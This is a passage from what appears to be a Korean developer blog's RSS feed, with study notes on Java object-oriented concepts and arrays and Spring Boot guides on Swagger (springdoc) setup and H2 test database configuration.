바로 다운캐스팅을 하게되면 컴파일은 괜찮지만, 실행시 에러가 뜬다. 업캐스팅 -&gt; 다운캐스팅을 해야한다.</p>
<p>컴파일 시에는 참조변수간의 타입만 체크하기 때문이다.
실행 시에는 인스턴스의 타입까지 고려하기 때문에 실행시에는 에러가 발생된다.</p>
<h3 id="참조변수와-인스턴스의-연결">참조변수와 인스턴스의 연결</h3>
<ul>
<li>오버라이딩 된 경우
  인스턴스 타입의 메소드가 불러와진다.</li>
<li>오버라이딩 X
  참조변수 타입의 메소드가 불러와진다.</li>
</ul>
<p>멤버변수는 <strong>참조변수 타입</strong>에 따른다.</p>
<hr>
<h2 id="추상클래스">추상클래스</h2>
<p>추상클래스는 미완성 설계도에 비유할 수 있다.</p>
<p>추상클래스 자체로는 클래스로서의 역할을 다 못하지만, 새로운 클래스를 작성하는데 있어서 바탕이 되는 조상 클래스로서 중요한 의미를 갖는다.</p>
<p>그러니깐 &quot;자식클래스들은 이 메소드를 써야해!&quot; 하고 틀을 만들어주는 것이다.</p>
<p>추상클래스에도 생성자가 있고, 멤버변수와 메소드를 가질 수 있다.</p>
<p><strong>기존 클래스의 공통부분을 뽑아 조상클래스로 만드는 개념이다.</strong></p>
<h3 id="미완성-상태로-남겨놓는-이유">미완성 상태로 남겨놓는 이유</h3>
<p>상속받는 클래스에 따라 메소드의 내용이 달라질 수 있다.
그렇기 때문에 선언부만을 작성해서 해당 기능의 목적을 알려주는 것이다.</p>
<p>자식클래스들은 해당 메소드를 받아 적절히 구현하는 것이다.</p>
<h3 id="구현방법">구현방법</h3>
<pre><code class="language-java">abstract class Player {
    abstract void play(int post);
    void stop();
}</code></pre>
<p>메소드에 <code>abstract</code> 를 붙이면 자식 클래스에서 해당 메소드를 구현하도록 강제할 수 있다.</p>
<h2 id="인터페이스">인터페이스</h2>
<ul>
<li>인터페이스는 일종의 추상클래스이다.</li>
<li>추상클래스처럼 추상메소드를 갖지만 추상화 정도가 더 높다.</li>
<li>추상메소드와 상수만을 멤버로 가질 수 있다.</li>
<li>일반 메소드, 멤버변수를 가질 수 없다.</li>
</ul>
<p>구현된 것은 아무것도 없고 밑그림만 그려져 있는 기본 설계도와 같다.</p>
<h3 id="구현방법-1">구현방법</h3>
<pre><code class="language-java">interface 인터페이스이름 {
    public static final 타입 상수이름 = 값;
    public abstract 메소드이름(매개변수목록);
}</code></pre>
<h3 id="주의-사항-1">주의 사항</h3>
<ul>
<li>모든 멤버변수는 <code>public static final</code> 이어야 하며, 이를 생략할 수 있다.</li>
<li>모든 메소드는 <code>public abstract</code>이어야 하며, 이를 생략할 수 있다.</li>
</ul>
<p>생략하면 컴파일러가 자동으로 추가해준다.</p>
<p>JDK1.8부터는 <code>static</code>메소드와, <code>default</code> 메소드를 허용해준다.</p>
<h3 id="인터페이스의-상속">인터페이스의 상속</h3>
<pre><code class="language-java">interface Movable {
    void move(int x, int y);
}
interface Attackable {
    void attack(Unit u);
}
interface Fightable extends Movable, Attackable {}</code></pre>
<p>클래스와 달리 다중상속이 가능하다.</p>
<blockquote>
<p>interface는 Object클래스와 같은 최고 조상이 없다.</p>
</blockquote>
<h3 id="인터페이스의-구현">인터페이스의 구현</h3>
<pre><code class="language-java">class 클래스이름 implements 인터페이스이름 {
    ...
}</code></pre>
<p><code>extends</code>가 아닌 <code>implements</code>를 사용한다.</p>
<ul>
<li>만일 구현하는 인터페이스 메소드 중에 일부만 구현한다면 abstract를 붙여 추상클래스로 선언해야한다.</li>
<li>구현하는 클래스에서는 <code>public</code>을 꼭 붙여야 한다. 접근 제어자의 범위를 같거나 좁게해야하기 때문이다. <a href="#Overriding">오버라이딩의 주의사항</a>을 읽어보자.</li>
</ul>
<h3 id="인터페이스를-이용한-다형성">인터페이스를 이용한 다형성</h3>
<ol>
<li>인터페이스의 타입의 참조로 구현한 클래스의 인스턴스를 참조할 수 있다.<pre><code class="language-java">class Fighter extends Unit implements Fightable {
...
}
</code></pre>
</li>
</ol>
<p>Fightable f = new Fighter();</p>
<pre><code>2.  인터페이스는 다음과 같이 메소드의 매개변수의 타입으로 사용될 수 있다.
```java
void attack(Fightable f) {
    ...
}</code></pre><p>그러면 1번에 의해서 다음과 같이 할 수 있다.
<code>attack(new Fighter())</code></p>
<ol start="3">
<li>메소드의 리턴타입으로 인터페이스의 타입을 지정할 수 있다.<pre><code class="language-java">Fightable method() {
 return new Fighter();
}    </code></pre>
</li>
</ol>
<ul>
<li><strong>리턴타입이 인터페이스라는 것은 메소드가 해당 인터페이스를 구현한 클래스의 인스턴스를 반환하다는 것을 의미한다.</strong>
이 문장은 극도로 중요하다고 나와있다. 위의 코드를 보면 알 수 있다.</li>
</ul>
<h3 id="인터페이스의-장점">인터페이스의 장점</h3>
<ul>
<li>개발시간을 단축할 수 있다.</li>
<li>표준화가 가능하다.</li>
<li>서로 관계없는 클래스들에게 관계를 맺어줄 수 있다.</li>
<li>독립적인 프로그래밍이 가능하다.</li>
</ul>
<h3 id="인터페이스의-이해">인터페이스의 이해</h3>
<ul>
<li>클래스를 사용하는 쪽과 클래스를 제공하는 쪽이 있다.</li>
<li>메소드를 사용하는 쪽에서는 사용하려는 메소드의 선언부만 알면 된다. (내부는 몰라도 된다.)</li>
</ul>
<h3 id="default-static-메소드">default, static 메소드</h3>
<h4 id="static-메소드">static 메소드</h4>
<p>static메소드는 인스턴스와 관계가 없기 때문에 딱히 큰 상관이 없다.</p>
<h4 id="default-메소드">default 메소드</h4>
<p>인터페이스가 변경될 일이 생길 수도 있다.
이 때 메소드를 추가하면 이를 구현한 클래스들을 모두 변경해야 할 것이다.</p>
<p><strong>이 때문에 default method라는 것을 고안해냈다.</strong></p>
<pre><code class="language-java">interface MyInterface {
    void method();
    default void newMethod();
}</code></pre>
<p>다음과 같이 default를 추가하면 굳이 구현하지 않아도 된다.</p>
<h4 id="이름이-중복되어-충돌이-나는-경우">이름이 중복되어 충돌이 나는 경우</h4>
<ol>
<li>여러 인터페이스의 디폴트 메소드간의 충돌<ul>
<li>인터페이스를 구현한 클래스에서 디폴트 메소드를 오버라이딩해야 한다.</li>
</ul>
</li>
<li>디폴트 메소드와 조상 클래스의 메소드간의 충돌<ul>
<li>조상 클래스의 메소드가 상속되고, 디폴트 메소드는 무시된다.</li>
</ul>
</li>
</ol>
<h2 id="내부-클래스">내부 클래스</h2>
<p>클래스 내부에 선언되는 클래스이다.</p>
<h3 id="내부-클래스의-장점">내부 클래스의 장점</h3>
<ul>
<li>내부 클래스에서 외부 클래스 멤버들을 쉽게 접근할 수 있다.</li>
<li>코드의 복잡성을 줄일 수 있다.(캡슐화)</li>
</ul>
<h3 id="종류와-특징">종류와 특징</h3>
<h4 id="인스턴스-클래스">인스턴스 클래스</h4>
<p>외부 클래스의 멤버변수 선언위치에 선언한다. 외부 클래스의 instance멤버처럼 다루어진다.</p>
<h4 id="스태틱-클래스">스태틱 클래스</h4>
<p>외부 클래스의 멤버변수 선언위치에 선언한다. 외부 클래스의 static멤버처럼 다루어진다.</p>
<h4 id="지역-클래스">지역 클래스</h4>
<p>외부 클래스의 메소드나 초기화블럭 안에 선언한다. 선언된 내부에서만 사용가능하다.</p>
<h4 id="익명-클래스">익명 클래스</h4>
<p>클래스의 선언과 객체의 생성을 동시에 하는 이름없는 클래스이다.(일회용)</p>
<pre><code class="language-java">class Outer{
    void method() {
        int lv = 0;
        final int LV = 0;

        class LocalInner {
            int liv1 = lv;  // JDK1.8부터는 에러가 안난다.
            int liv2 = LV;
        }
    }
}</code></pre>
<p>다음과 같이 <strong>지역 클래스</strong>일 경우 생각해야한다.
<strong>지역 클래스</strong>는 <strong>상수</strong>만 접근이 가능하다. 
하지만 JDK1.8부터는 final을 생략할 수 있다. 컴파일러가 알아서 붙여주기 때문이다.</p>
<p>상수만 접근이 가능한 이유</p>
<ul>
<li>메소드가 수행을 마쳐서 지역변수가 소멸되었는데도 지역 클래스의 인스턴스가 소멸된 지역변수를 참조하려는 경우가 발생할 수도 있기 때문이다.</li>
</ul>
<blockquote>
<p>참고
<a href="http://www.tcpschool.com/java/java_inheritance_concept">http://www.tcpschool.com/java/java_inheritance_concept</a></p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Spring boot] Swagger API 연동하기]]></title>
            <link>https://velog.io/@jeong-god/Spring-boot-Swagger-API-%EC%97%B0%EB%8F%99%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@jeong-god/Spring-boot-Swagger-API-%EC%97%B0%EB%8F%99%ED%95%98%EA%B8%B0</guid>
            <pubDate>Tue, 08 Mar 2022 11:34:57 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>Spring Boot 2.6.4
Java 11</p>
</blockquote>
<h1 id="swagger-설정하는-방법">Swagger 설정하는 방법</h1>
<p>Swagger설정하기 위한 라이브러리는 2가지가 있다.
<code>Spring-Fox</code>, <code>Spring-Doc</code> 2가지 중에 사용하면 된다.</p>
<ul>
<li>Spring-Fox<ul>
<li>오래전에 나온 라이브러리이다. (2015년)</li>
<li>2020년 이후로 업데이트가 멈췄다.</li>
<li>그래서 Spring Boot 2.6이상 버전에서는 바로 적용이 안된다.</li>
</ul>
</li>
</ul>
<p><a href="https://mvnrepository.com/artifact/io.springfox/springfox-swagger-ui">https://mvnrepository.com/artifact/io.springfox/springfox-swagger-ui</a></p>
<ul>
<li>Spring-Doc<ul>
<li>최근에 나온 라이브러리이다. (2019년)</li>
<li>업데이트가 최근까지도 이루어지고 있다.</li>
<li>Spring boot 2.6이상도 지원한다.</li>
</ul>
</li>
</ul>
<p><a href="https://mvnrepository.com/artifact/org.springdoc/springdoc-openapi-ui">https://mvnrepository.com/artifact/org.springdoc/springdoc-openapi-ui</a></p>
<p>초기에는 Spring-fox를 이용하여 설정하였는데, 설정하는 방법이 WebMVC Configuration을 직접 건드리는 것이여서 추후에 문제가 생길것도 하여 Spring-doc으로 다시 되돌아왔다.</p>
<p>Spring-fox는 업데이트가 더 이상 이루어지지 않아 쓰이지 않는 분위기이다. 그래서 Spring-doc을 설정하는 방법에 대해 설명하고자 한다.</p>
<h2 id="gradle-설정하기">Gradle 설정하기</h2>
<pre><code class="language-gradle">implementation &#39;org.springdoc:springdoc-openapi-ui:1.6.6&#39;</code></pre>
<p>제일 최근 버전을 사용했다. 위에 적어둔 홈페이지로 가서 원하는 버전으로 설정하면 된다.</p>
<h2 id="config-파일-만들기">Config 파일 만들기</h2>
<p><strong>Swagger2Config.java</strong></p>
<pre><code class="language-java">@Configuration
public class Swagger2Config {

    @Bean
    public GroupedOpenApi publicApi() {
        return GroupedOpenApi.builder()
                .group(&quot;v1-definition&quot;)
                .pathsToMatch(&quot;/api/**&quot;)
                .build();
    }
    @Bean
    public OpenAPI springShopOpenAPI() {
        return new OpenAPI()
                .info(new Info().title(&quot;Bstagram API&quot;)
                        .description(&quot;BMW 프로젝트 API 명세서입니다.&quot;)
                        .version(&quot;v0.0.1&quot;);
    }
}</code></pre>
<ul>
<li><p>group</p>
<ul>
<li>group 이름을 설정한다.
<img src="https://images.velog.io/images/jeong-god/post/e29c28d8-2533-4b98-8b40-46b5d693a3be/image.png" alt=""></li>
</ul>
</li>
<li><p>pathsToMatch</p>
<ul>
<li>Swagger API 명세서에 적을 API 주소를 적는다.</li>
<li>&quot;/api/**&quot; 이라고 적는다면 &quot;<a href="http://localhost:8080/api/~~&quot;">http://localhost:8080/api/~~&quot;</a> 로 시작하는 친구들을 다 매칭시킨다는 얘기이다.</li>
</ul>
</li>
<li><p>OpenAPI</p>
<ul>
<li>Swagger API 명세서에 들어왔을 때 어떻게 보여줄 지 Customizing하는 부분이다.
<img src="https://images.velog.io/images/jeong-god/post/c77b4006-e9a0-4298-aa9e-b1ee9abd704b/image.png" alt=""></li>
</ul>
</li>
</ul>
<p>더 많은 설정은 <a href="https://springdoc.org/#properties">https://springdoc.org/#properties</a> 여기서 확인 가능하다.</p>
<h2 id="controller-설정">Controller 설정</h2>
<pre><code class="language-java">@Tag(name = &quot;posts&quot;, description = &quot;게시물 API&quot;)
@RestController
@RequestMapping(&quot;/api/posts&quot;)
@RequiredArgsConstructor
public class PostsController {

    @Operation(summary = &quot;get posts&quot;, description = &quot;지역에 대한 posts들 가져오기&quot;)
    @ApiResponses({
            @ApiResponse(responseCode = &quot;200&quot;, description = &quot;OK&quot;, content = @Content(schema = @Schema(implementation = PostsResponseDto.class))),
            @ApiResponse(responseCode = &quot;400&quot;, description = &quot;BAD REQUEST&quot;),
            @ApiResponse(responseCode = &quot;404&quot;, description = &quot;NOT FOUND&quot;),
            @ApiResponse(responseCode = &quot;500&quot;, description = &quot;INTERNAL SERVER ERROR&quot;)
    })
    @Parameters({
            @Parameter(name = &quot;province&quot;, description = &quot;시&quot;, example = &quot;경기도&quot;),
            @Parameter(name = &quot;city&quot;, description = &quot;도&quot;, example = &quot;고양시&quot;),
            @Parameter(name = &quot;hashtag&quot;, description = &quot;검색한 해시태그&quot;, example = &quot;[&#39;#자장면&#39;, &#39;#중국집&#39;]&quot;)
    })
    @ResponseBody
    @GetMapping( &quot;&quot;)
    public PostsResponseDto getPosts(
            @RequestParam(value = &quot;province&quot;) String province,
            @RequestParam(value = &quot;city&quot;) String city,
            @RequestParam(value = &quot;hashtag&quot;, required = false) @Nullable String hashtag
    ) {
        return new PostsResponseDto(1);
    }
}</code></pre>
<ul>
<li><p>@Tag
<img src="https://images.velog.io/images/jeong-god/post/f7aeac59-698c-4d11-831a-e0ddce02ea11/image.png" alt=""></p>
</li>
<li><p>@Operation
<img src="https://images.velog.io/images/jeong-god/post/99f3aef9-78c5-4cd9-8c43-f36bf565cc45/image.png" alt=""></p>
</li>
<li><p>@ApiResponses, @ApiResponse
<img src="https://images.velog.io/images/jeong-god/post/404ecc36-2151-426b-b027-7517d6da65a9/image.png" alt=""></p>
</li>
<li><p>@Parameters, @Parameter
<img src="https://images.velog.io/images/jeong-god/post/0705e294-a81b-411f-be6a-8ced18b928a9/image.png" alt=""></p>
</li>
<li><p>return 값으로 객체를 내보낸다면 다음과 같이 뜬다.
<img src="https://images.velog.io/images/jeong-god/post/190a7fdb-d78c-4a3c-b149-700f6d5bf39f/image.png" alt=""></p>
</li>
</ul>
<blockquote>
<p>참고
<a href="https://oingdaddy.tistory.com/272">https://oingdaddy.tistory.com/272</a>
<a href="https://blog.jiniworld.me/91">https://blog.jiniworld.me/91</a>
<a href="https://springdoc.org/">https://springdoc.org/</a></p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Spring boot] Test H2 DB설정]]></title>
            <link>https://velog.io/@jeong-god/Springboot-Test-H2-DB%EC%84%A4%EC%A0%95</link>
            <guid>https://velog.io/@jeong-god/Springboot-Test-H2-DB%EC%84%A4%EC%A0%95</guid>
            <pubDate>Tue, 15 Feb 2022 15:23:26 GMT</pubDate>
            <description><![CDATA[<p>Springboot를 혼자서 공부하다가 에러떠서 정리한 내용이다.</p>
<h2 id="에러-상황">에러 상황</h2>
<p>Posts객체를 만들어두고 이를 DB와 연동해서 작동이 되는지 테스트해보던 중, 분명 테이블 생성 sql문은 들어갔는데 여기서 에러가 뜨는 상황이 발생했다.</p>
<pre><code>Hibernate: drop table if exists posts
Hibernate: create table posts (identifier bigint not null auto_increment, author varchar(255), content TEXT not null, title varchar(500) not null, primary key (identifier)) engine=InnoDB
2022-02-15 23:30:26.003  WARN 12420 --- [           main] o.h.t.s.i.ExceptionHandlerLoggedImpl     : GenerationTarget encountered exception accepting command : Error executing DDL &quot;create table posts (identifier bigint not null auto_increment, author varchar(255), content TEXT not null, title varchar(500) not null, primary key (identifier)) engine=InnoDB&quot; via JDBC Statement</code></pre><h2 id="원인">원인</h2>
<p>H2 Database는 H2 쿼리문법을 이용한다. H2에 Mysql문법을 날리면 H2는 이해하지 못한다.
그래서 mysql로 바꿔주어야 한다.</p>
<pre><code class="language-properties"># application.properties

spring.jpa.properties.hibernate.dialect = org.hibernate.dialect.MySQL5InnoDBDialect</code></pre>
<p>데이터베이스 유형을 알려주는 것이 Dialect설정이다.
MySQL5버전, InnoDB 스토리지 엔진을 사용하여 진행한다는 뜻이다.</p>
<p>하지만 이것만 설정한다고 해서 되지는 않는다. H2 DB를 바라보게 설정을 해줘야 한다.</p>
<pre><code># application.properties

spring.datasource.url=jdbc:h2:mem:testdb;MODE=MySQL</code></pre><p>앞 부분은 <code>jdbc:h2:mem:testdb</code> or <code>jdbc:h2:~/testdb</code> 둘 중 어떤 것을 사용해도 상관없다.</p>
<p>두 가지의 차이점은 이렇다.</p>
<ul>
<li>jdbc:h2:mem:testdb
In-memory DB다. DB를 연결하고 닫으면 해당 DB는 사라진다. 어플리케이션이 동작할 때에만 존재하는 DB인 것이다.</li>
<li>jdbc:h2:~/dbname
Local DB다. 직접 로컬에서 홈디렉토리로 가보면 db들이 생성되있는 것을 확인할 수 있다.
해당 DB는 저장되며 계속 사용할 수 있다.</li>
</ul>
<p>우리는 <strong>테스트</strong>에만 사용할 것이니 In-memory방식으로 사용하는 것이 좋아보여서 mem방식으로 진행할 것이다.</p>
<p>뒤에 <code>MODE=MySQL</code>은 MySQL문법을 사용한다는 뜻이다.</p>
<p>이렇게 properties를 설정한 뒤에 테스트를 해보면 
<img src="https://images.velog.io/images/jeong-god/post/bec7dba5-a2ed-48db-9068-3597bc3aab6a/image.png" alt="">
성공하는 것을 볼 수 있다!</p>
<blockquote>
<p>참고
<a href="https://2dongdong.tistory.com/66">https://2dongdong.tistory.com/66</a>
<a href="https://sosohanya.tistory.com/27">https://sosohanya.tistory.com/27</a>
<a href="https://velog.io/@jwkim/spring-boot-datajpatest-error">https://velog.io/@jwkim/spring-boot-datajpatest-error</a>
<a href="https://www.h2database.com/html/features.html#in_memory_databases">https://www.h2database.com/html/features.html#in_memory_databases</a></p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Java의 정석] 6장 객체지향 프로그래밍]]></title>
            <link>https://velog.io/@jeong-god/Java%EC%9D%98-%EC%A0%95%EC%84%9D-6%EC%9E%A5-%EA%B0%9D%EC%B2%B4%EC%A7%80%ED%96%A5-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D</link>
            <guid>https://velog.io/@jeong-god/Java%EC%9D%98-%EC%A0%95%EC%84%9D-6%EC%9E%A5-%EA%B0%9D%EC%B2%B4%EC%A7%80%ED%96%A5-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D</guid>
            <pubDate>Fri, 28 Jan 2022 10:17:43 GMT</pubDate>
            <description><![CDATA[<h1 id="객체지향언어">객체지향언어</h1>
<blockquote>
<p>실제 세계는 사물(객체)로 이루어져 있으며 발생하는 모든 사건들은 사물간의 상호작용이다.</p>
</blockquote>
<h3 id="객체지향언어의-특징">객체지향언어의 특징</h3>
<p>상속, 다향성과 같은 개념들로 인해 생기는 장점들이다.</p>
<ol>
<li>코드의 재사용성이 높다.</li>
<li>코드의 관리가 용이하다.</li>
<li>신뢰성이 높은 프로그래밍을 가능하게 한다.</li>
</ol>
<p>처음부터 객체지향에 얽매이기 보다는 기능적으로 완성한 후에 차근차근 객체지향적으로 발전시키는게 좋다.</p>
<h2 id="클래스-객체-인스턴스">클래스, 객체, 인스턴스</h2>
<h3 id="클래스">클래스</h3>
<p>객체를 정의해놓은 것이다. 실세계에서는 <strong>붕어빵 기계</strong>이라고 생각하면 된다.</p>
<h3 id="객체">객체</h3>
<p>실제로 존재하는 것. 사물 또는 개념이다. <strong>붕어빵</strong>이라고 생각하면 된다.</p>
<h3 id="인스턴스">인스턴스</h3>
<p><code>클래스의 인스턴스 == 객체</code>라고 보면 된다.
객체는 모든 클래스의 인스턴스를 대표하는 <strong>포괄적인 의미</strong>를 갖고 있다.
인스턴스는 어떤 클래스로부터 만들어진 것인지에 대한 <strong>구체적인 의미</strong>를 갖고 있다.</p>
<blockquote>
<p>붕어빵은 붕어빵 기계의 인스턴스이다. 붕어빵은 객체이다. (O)
붕어빵은 붕어빵 기계의 객체이다. 붕어빵은 인스턴스이다. (X)</p>
</blockquote>
<h2 id="객체의-구성요소">객체의 구성요소</h2>
<h3 id="속성attribute">속성(Attribute)</h3>
<p>객체를 나타내는 특성들이다. <strong>변수</strong>에 해당된다.</p>
<h3 id="기능method">기능(method)</h3>
<p>객체가 하는 기능들이다. <strong>메서드(함수)</strong>에 해당된다.</p>
<h2 id="데이터-저장형태의-발전-과정">데이터 저장형태의 발전 과정</h2>
<h3 id="변수">변수</h3>
<p><strong>하나</strong>의 데이터를 저장할 수 있는 공간</p>
<h3 id="배열">배열</h3>
<p><strong>같은 종류의 여러 데이터를 하나의 집합</strong>으로 저장할 수 있는 공간</p>
<h3 id="구조체">구조체</h3>
<p><strong>서로 관련된 여러 데이터를 종류에 관계없이 하나의 집합</strong>으로 저장할 수 있는 공간</p>
<h3 id="클래스-1">클래스</h3>
<p><strong>데이터와 함수</strong>의 결합 (구조체 + 함수)</p>
<h2 id="변수와-메서드">변수와 메서드</h2>
<pre><code class="language-java">class Variables {
    int iv;        // 인스턴스변수
    static int cv;    // 클래스 변수(static변수, 공유변수)

    void method() {    // 인스턴스 메서드
        int lv = 0;    // 지역변수
    }

    static void method(int ch) {    // 클래스 메서드
        cv = ch
    }
}</code></pre>
<h3 id="변수-1">변수</h3>
<h3 id="클래스-영역">클래스 영역</h3>
<p><strong>인스턴스 변수</strong></p>
<ul>
<li>인스턴스가 생성되었을 때 생긴다.</li>
<li>인스턴스마다 서로 다른 값을 가질 경우에 사용한다.</li>
<li>반드시 인스턴스를 생성해야만 접근이 가능하다.</li>
</ul>
<p><strong>클래스 변수</strong></p>
<ul>
<li>클래스가 메모리에 올라갈 때 생긴다.</li>
<li>모든 인스턴스가 공통적인 값을 유지해야하는 경우 사용한다.</li>
<li>인스턴스를 생성하지 않고도 접근이 가능하다.</li>
</ul>
<h3 id="클래스-이외에-영역메서드-생성자-초기화-블럭-내부">클래스 이외에 영역(메서드, 생성자, 초기화 블럭 내부)</h3>
<ul>
<li>변수 선언문이 수행되었을 때 생긴다.</li>
<li>블랙 내에서만 사용 가능하다.</li>
</ul>
<h3 id="메서드">메서드</h3>
<p><strong>인스턴스 메서드</strong></p>
<ul>
<li>인스턴스가 생성되어야만 사용할 수 있다.</li>
<li>static 변수에 접근이 가능하다.</li>
</ul>
<p><strong>클래스 메서드</strong></p>
<ul>
<li>인스턴스가 생성되지 않아도 접근이 가능하다. ex) Variables.method(1)</li>
<li>인스턴스 메서드나 인스턴스 변수에는 접근이 불가능하다.
=&gt; 생성 시점이 보장되지가 않기 때문이다. 클래스는 있지만 해당 클래스의 인스턴스는 없을 수도 있다.</li>
<li>메서드내에서 인스턴스 변수를 사용하지 않는다면 static을 붙이는 것을 고려한다.
=&gt; 메서드 호출시간이 짧아진다. 인스턴스메서드는 호출되어야 할 메서드를 찾는 과정이 추가적으로 필요하다.</li>
</ul>
<h2 id="jvm의-메모리-구조">JVM의 메모리 구조</h2>
<p><img src="https://images.velog.io/images/jeong-god/post/74e8c1d0-aa53-4851-b9df-65288435e866/image.png" alt=""></p>
<h3 id="메서드-영역">메서드 영역</h3>
<ul>
<li>클래스파일(*.class)을 읽어서 분석하여 클래스에 대한 정보를 이곳에 저장한다.</li>
<li>클래스 변수도 함께 생성된다.</li>
</ul>
<h3 id="힙">힙</h3>
<ul>
<li>인스턴스가 생성되는 공간이다.</li>
<li>인스턴스 변수들이 생성된다.</li>
</ul>
<h3 id="호출스택call-stack-or-execution-stack">호출스택(Call Stack or Execution Stack)</h3>
<ul>
<li>메서드의 작업에 필요한 메모리 공간을 제공한다.</li>
</ul>
<h2 id="생성자">생성자</h2>
<ul>
<li>생성자의 이름은 클래스의 이름과 같아야 한다.</li>
<li>생성자는 리턴 값이 없다.</li>
<li>클래스에는 항상 하나 이상의 <strong>생성자</strong>가 존재해야한다.</li>
<li>모든 클래스에는 기본적으로 <strong>기본 생성자</strong>가 존재한다.</li>
</ul>
<pre><code class="language-java">Class Car {
    String color;
    String gearType;
    int door;

    Car() {
        this(&quot;white&quot;, &quot;auto&quot;, 4);
    }

    Car(String color) {
        this(color, &quot;auto&quot;, 4);
    }

    Car(String color, String gearType, int door) {
        this.color = color;
        this.gearType = gearType;
        this.door = door;
    }
}</code></pre>
<p>다음과 같이 <strong>오버로딩</strong>을 통해 생성자를 여러개 생성할 수 있다.</p>
<h2 id="변수의-초기화">변수의 초기화</h2>
<pre><code class="language-java">class InitTest {
    int x;
    int y = x;

    void method() {
        int j;
        int j = i;
    }
}</code></pre>
<p><strong>멤버 변수(인스턴스 변수, 클래스 변수)</strong>는 자동으로 자료형에 맞는 기본값으로 초기화가 된다.
<strong>지역 변수</strong>는 사용하기 전에 반드시 초기화를 해야 한다.</p>
<h3 id="멤버-변수의-초기화-방법">멤버 변수의 초기화 방법</h3>
<h4 id="명시적-초기화">명시적 초기화</h4>
<pre><code class="language-java">class Car {
    int door = 4;
    Engine e = new Engine();

    ...
}</code></pre>
<h4 id="생성자-1">생성자</h4>
<pre><code class="language-java">class Car {
    int door = 4;
    Engine e = new Engine();

    Car (int door, Engine e) {
        this.door = door;
        this.e = e
    }
    ...
}</code></pre>
<h4 id="초기화-블럭">초기화 블럭</h4>
<pre><code class="language-java">class Car {
    static int cv = 3;
    int iv = 2;
    static {
        // static 초기화 블럭
        cv = 2
    }
    {
        // 인스턴스 초기화 블럭
        iv = 1
    }
    ...
}</code></pre>
<h3 id="멤버변수의-초기화-시기와-순서">멤버변수의 초기화 시기와 순서</h3>
<h4 id="클래스-변수">클래스 변수</h4>
<p>클래스가 처음 로딩될 때 <strong>단 한번</strong> 초기화 된다.
기본값 -&gt; 명시적초기화 -&gt; 클래스 초기화 블록</p>
<h4 id="인스턴스-변수">인스턴스 변수</h4>
<p>인스턴스가 생성될 때마다 각 인스턴스별로 초기화가 이루어진다.
기본값 -&gt; 명시적초기화 -&gt; 인스턴스 초기화 블록 -&gt; 생성자</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Java의 정석] 5장 배열]]></title>
            <link>https://velog.io/@jeong-god/Java%EC%9D%98-%EC%A0%95%EC%84%9D-5%EC%9E%A5-%EB%B0%B0%EC%97%B4</link>
            <guid>https://velog.io/@jeong-god/Java%EC%9D%98-%EC%A0%95%EC%84%9D-5%EC%9E%A5-%EB%B0%B0%EC%97%B4</guid>
            <pubDate>Thu, 13 Jan 2022 05:39:47 GMT</pubDate>
            <description><![CDATA[<p>4장은 조건문과 반복문에 대한 내용으로 스킵했습니다.</p>
<h1 id="배열">배열</h1>
<ul>
<li>배열은 같은 타입의 여러 변수를 하나의 묶음으로 다루는 것이다.</li>
</ul>
<h2 id="배열의-선언">배열의 선언</h2>
<pre><code class="language-java">int[] score;
int score[];</code></pre>
<p>타입 뒤 또는 변수 뒤에 대괄호[]를 붙이면 된다.</p>
<h2 id="배열의-생성">배열의 생성</h2>
<pre><code class="language-java">int[] score;
score = new int[5];</code></pre>
<p><img src="https://images.velog.io/images/jeong-god/post/9d490b63-3208-4200-9cea-075964a766e7/image.png" alt=""></p>
<p>그림과 같이 초기값은 int의 default값인 0으로 채워진다.</p>
<p>여기서 <code>score</code>변수는 참조변수라고 한다. 배열의 선언은 참조변수를 위한 공간을 만드는 것이고, 배열을 생성해야 값을 저장할 수 있는 공간이 만들어진다.
참조변수란, 참조하는 메모리 주소값을 저장하는 변수를 말한다.</p>
<p>그러면 출력하면 어떻게 될까?
<code>타입@주소</code>와 같이 출력이 된다. 하지만 <code>@주소</code>부분은 실제 주소가 아닌 내부 주소를 가르키고 있다. 이는 뒷 장에서 설명</p>
<h2 id="배열의-길이와-인덱스">배열의 길이와 인덱스</h2>
<pre><code class="language-java">int[] score = new int[5];
System.out.println(score[6]) // 실행 시 에러 발생</code></pre>
<ul>
<li>컴파일러는 해당 에러를 잡지 못한다. 변수의 값은 실행 시에 대입되기 때문이다.</li>
</ul>
<h1 id="string-배열">String 배열</h1>
<h2 id="string-배열의-선언">String 배열의 선언</h2>
<p>배열의 선언과 다를게 없다.</p>
<pre><code class="language-java">String[] name</code></pre>
<h2 id="string-배열의-생성">String 배열의 생성</h2>
<pre><code class="language-java">String[] name;
name = new String[3];</code></pre>
<p><img src="https://images.velog.io/images/jeong-god/post/d249109e-0096-406a-971e-ff28f3af9423/image.png" alt=""></p>
<p>참조형 변수의 default값은 null값이다.</p>
<pre><code class="language-java">name[0] = new String(&quot;Kim&quot;);
name[1] = new String(&quot;Park&quot;);
name[2] = new String(&quot;Lee&quot;);</code></pre>
<p><img src="https://images.velog.io/images/jeong-god/post/49068dae-e531-44a0-afb9-06a776f9cada/image.png" alt=""></p>
<p>배열에 값이 아닌 <strong>객체의 주소</strong>가 저장되어 있다. 이처럼 기본형 배열이 아닌 참조형 배열의 경우에는 <strong>객체의 주소</strong>가 저장된다.</p>
<pre><code class="language-java">String str = &quot;java&quot;;
str = str + &quot;8&quot;;          // &quot;java8&quot;이라는 새로운 문자열이 생성된다.
System.out.println(str);  // &quot;java8&quot;</code></pre>
<p>기존에 갖고 있던 &quot;java&quot;의 값을 갖고 있는 주소값을 가르키고 있던 str변수는 새로운 &quot;java8&quot;이라는 값을 갖고 있는 주소값을 가르키게 된다.
그 다음 &quot;java&quot;라는 쓸모없어진 String객체는 Garbage collector에 의해 자동으로 정리된다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Java의 정석] 3장 연산자]]></title>
            <link>https://velog.io/@jeong-god/Java%EC%9D%98-%EC%A0%95%EC%84%9D-3%EC%9E%A5-%EC%97%B0%EC%82%B0%EC%9E%90</link>
